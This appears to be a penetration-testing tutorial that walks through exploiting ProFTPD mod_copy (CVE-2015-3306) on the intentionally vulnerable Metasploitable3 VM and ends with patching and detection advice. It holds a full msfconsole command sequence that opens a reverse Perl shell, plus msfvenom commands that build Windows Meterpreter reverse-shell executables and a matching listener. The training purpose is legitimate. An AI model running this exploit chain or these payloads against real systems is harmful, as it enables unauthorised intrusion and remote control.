Metasploit and msfvenom in a Lab: Practising on Metasploitable3

7 min read188 courses on OnlySecurity

Metasploit is the framework most testers meet first. This article builds a target you control, walks the msfconsole workflow against a service whose source you can read, covers msfvenom basics, and ends on the defender’s point: most modules exploit known flaws, so the control is patching. Test only networks and systems you own or are authorised to assess.

Build the target first

Metasploitable3 is Rapid7’s intentionally vulnerable virtual machine, built as a target for testing exploits. The Windows build is win2k8 (Windows Server 2008 R2) and the Linux build is ub1404 (Ubuntu 14.04).

The repository has no tags, so this article uses its latest commit, b3442cc (13 February 2025). The quick start fetches the Vagrantfile and runs vagrant up to download prebuilt boxes, which Vagrant Cloud lists for VirtualBox and VMware only. To build your own, the README asks for Packer, Vagrant, the Vagrant Reload plugin, about 65 GB of disk and 4.5 GB of RAM, and supports four hypervisors: run ./build.sh ubuntu1404 or ./build.sh windows2008 (build.ps1 on Windows). vagrant up ub1404 starts only the Linux box.

Treat these machines as hostile: keep them host-only, never bridged to your LAN and with no internet route. The Vagrantfile adds a private_network (host-only on VirtualBox) and gives the Linux box 172.28.128.3, but VirtualBox on Linux and macOS allows host-only addresses only in 192.168.56.0/21 unless /etc/vbox/networks.conf lists more, so add 172.28.128.0/24 there or change the address. Vagrant also needs a NAT adapter as the first interface, and NAT gives the guest internet access, so disconnect it while you work. On the Windows build, MS3_DIFFICULTY=easy disables the firewall; any other value turns it on and opens the vulnerable services.

The msfconsole workflow

Metasploit Framework’s latest release is 6.5.13, tagged on 26 November 2026. A database is optional, but hosts, creds and vulns need one. msfdb init creates it, and db_status inside msfconsole shows whether it is connected.

Work in a named workspace so engagements never mix: workspace -a <name> adds one and switches to it. db_nmap runs Nmap and imports the result for hosts and services. search finds modules, use selects one, info describes it and show options lists what it needs. set fills options, check asks whether the target looks vulnerable without exploiting it, run (an alias of exploit) launches the module and sessions lists what opened.

Not every module supports check, so a missing answer is not a clean bill of health.

A worked example: ProFTPD mod_copy on the Linux build

The ub1404 build compiles ProFTPD 1.3.5 with mod_copy into /opt/proftpd, with install steps its Chef recipe credits to the Metasploit pull request that added the matching module, exploit/unix/ftp/proftpd_modcopy_exec. Its only target is ProFTPD 1.3.5 and it covers CVE-2015-3306: unauthenticated clients can use SITE CPFR and SITE CPTO to copy files anywhere the service account (here nobody) can read and write. The module copies /proc/self/cmdline to a file under TMPPATH (default /tmp) whose name carries a line of PHP, copies that into the web root under a random .php name, then requests it with the command in the query string.

The module defaults to FTP port 21 (RPORT_FTP) and web port 80 (RPORT). SITEPATH, the writable web directory, defaults to /var/www, but the Linux build’s Apache recipe makes /var/www/html world-writable, so set that. check sends SITE CPFR /etc/passwd without logging in and reports the target as appearing vulnerable if accepted. It takes a command payload using generic, gawk, Python, Perl or netcat; show payloads lists them. This article uses cmd/unix/reverse_perl: the build’s apache2 package depends on perl, and its firewall drops unlisted inbound ports, which favours a reverse payload.

The module registers only the web root file for cleanup, which runs through the new session, so the copy under TMPPATH stays. Snapshot first with vagrant snapshot save ub1404 clean and restore afterwards with vagrant snapshot restore ub1404 clean.

msfvenom basics

msfvenom generates payloads as files. The documentation says to supply -p (payload) and -f (output format); the source falls back to raw without -f. --list payloads, --list formats and --list encoders show what your version offers, and --list-options with -p shows a payload’s options. Settings such as LHOST and LPORT go on the command line as NAME=value, and -o writes the file.

Payload names carry their structure. In windows/x64/meterpreter/reverse_tcp the last part is the stager, a small stub that connects back, and the middle part is the stage it fetches. In windows/x64/meterpreter_reverse_tcp the stage is inline, so the payload is one stageless file. Either way the address and port are embedded, so the listener must match. Metasploit catches its own payloads with exploit/multi/handler, which waits for sessions from payloads launched outside the framework: use it, set the same PAYLOAD, LHOST and LPORT, then run. Plain shell listeners are in Shell Listeners and Upgrading to a Fully Interactive TTY and routing through a session in Pivoting with sshuttle, Meterpreter Routes and Ligolo-ng.

Encoders change how a payload is written. Metasploit’s msfvenom page says encoding “isn’t really meant” as antivirus evasion. What it documents is -b, which names bad characters to avoid and picks an encoder for you.

Metasploit and msfvenom commands

Checked against Metasploit Framework 6.5.13 (tag 6.5.13) and Metasploitable3 at commit b3442cc. The addresses follow the Vagrantfile’s 172.28.128.3 for the target; set LHOST to the address of the machine running msfconsole on that network.

msfdb init
msfconsole
workspace -a ms3-lab
db_nmap -sV -p 21,80 172.28.128.3
services
search proftpd
use exploit/unix/ftp/proftpd_modcopy_exec
info
show options
set RHOSTS 172.28.128.3
set SITEPATH /var/www/html
show payloads
set PAYLOAD cmd/unix/reverse_perl
set LHOST 172.28.128.1
check
run
sessions
msfvenom --list payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.28.128.1 LPORT=4444 -f exe -o lab-staged.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.28.128.1 LPORT=4444 -f exe -o lab-stageless.exe
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.28.128.1
set LPORT 4444
run
  1. RHOSTS is the target; LHOST and LPORT are where the payload connects back, and 172.28.128.1 is a placeholder for your own address.
  2. Run msfvenom -h on your own install, because flags change between releases.

Detection and defence

An exploit module delivers a known flaw, so the strongest control is the boring one. MITRE ATT&CK files this under T1210, Exploitation of Remote Services and lists update software (M1051), network segmentation (M1030), disabling features you do not need (M1042) and vulnerability scanning (M1016) as mitigations. Here that means ProFTPD 1.3.5a or later, which in May 2015 stopped unauthenticated SITE CPFR and SITE CPTO copying, or a build without mod_copy, which ProFTPD does not compile by default.

For detection, use what the module leaves behind; its metadata declares ARTIFACTS_ON_DISK and IOC_IN_LOGS. Look for new PHP files in web roots, and for requests to them carrying a shell command in the query string, which Apache’s common and combined log formats record. ProFTPD logs individual commands only in an ExtendedLog, which its default configuration lacks; with one, look for SITE CPFR and SITE CPTO from clients that never authenticated. MITRE’s detection strategy DET0118 correlates inbound connections to service ports with service crashes or restarts, suspicious child processes under the service and, on Linux, shells spawned from a daemon: here Apache starting a shell and Perl.

The cmd/unix/reverse_perl session here is a plain TCP shell, so sessions -v shows Encrypted: No and a network sensor can read its commands. A Meterpreter session normally shows Encrypted: Yes with an AES key size, so for those watch behaviour instead, such as a server opening an outbound connection just after an inbound request.

Segmentation limits the damage when a patch is late. The Network and Active Directory Ultimate Course shows what an attacker does with a foothold on a Windows network.

Where to go next

The Network and Active Directory Ultimate Course takes a foothold through to detecting and stopping credential theft on a Windows domain. For the wider workflow from first scan to report, see Penetration Testing Field Notes.

This article replaces the KSEC ARK notes first published in 2015.

More from this author